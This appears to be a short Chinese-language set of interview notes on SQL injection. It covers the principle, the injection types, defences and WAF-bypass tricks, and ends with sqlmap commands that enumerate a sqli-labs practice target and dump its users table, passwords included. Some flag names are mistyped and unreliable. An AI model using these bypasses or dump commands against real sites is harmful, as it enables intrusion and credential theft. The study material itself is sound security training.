SQL注入常见面试题:
原理:攻击者将sql语句插入到网站的参数或链接中,从而恶意查询数据库的敏感信息。
SQL注入的数据类型:数字型、字符型、搜索型。
SQL注入的方式/方法:盲注、报错注入、布尔注入、宽字节注入。
数据库版本在5.0以上或以下有什么注入区别:5.0以下直接暴力查询,5.0以上通过 information_schema有据查询
sql注入法防御方式 :1.参数化查询接口(使网络参数中的sql语句不能正常执行) 。
2.字符转义(比如单引号)
3. 避免网站回显sql结果
4.字符的过滤
绕过WAF方法: 1.更改提交方式(get改post)2.大小写混用 3.注释符混用
4.HTTP参数污染(id=1&id=2 waf只检测id=1的)
sqlmap工具的常用命令
-u 注入点 -f 判断数据库类型 -b 数据库版本 -p制定可测参数 -D 指定库名 -T 指定表名
-c 指定字段 -columns 列出字段 -current -user 当前用户名 -users 列出库所有用户
--is -dba 判断当前用户是否具有管理者权限
python sqlmap.py -u "http://192.168.43.70/sqli-labs/Less-1/?id=1" -v 1 --dbs 爆库
爆出库名为security
python sqlmap.py -u "http://192.168.43.70/sqli-labs/Less-1/?id=1" -v 3 --tables -D security 爆表
python sqlmap.py -u "http://192.168.43.70/sqli-labs/Less-1/?id=1" -v 3 --columns -D security -T users 爆列名
python sqlmap.py -u "http://192.168.43.70/sqli-labs/Less-1/?id=1" -v 3 --dump -C id,password,userame -D security -T users 爆内容
更多安全面试题相关留意个人主页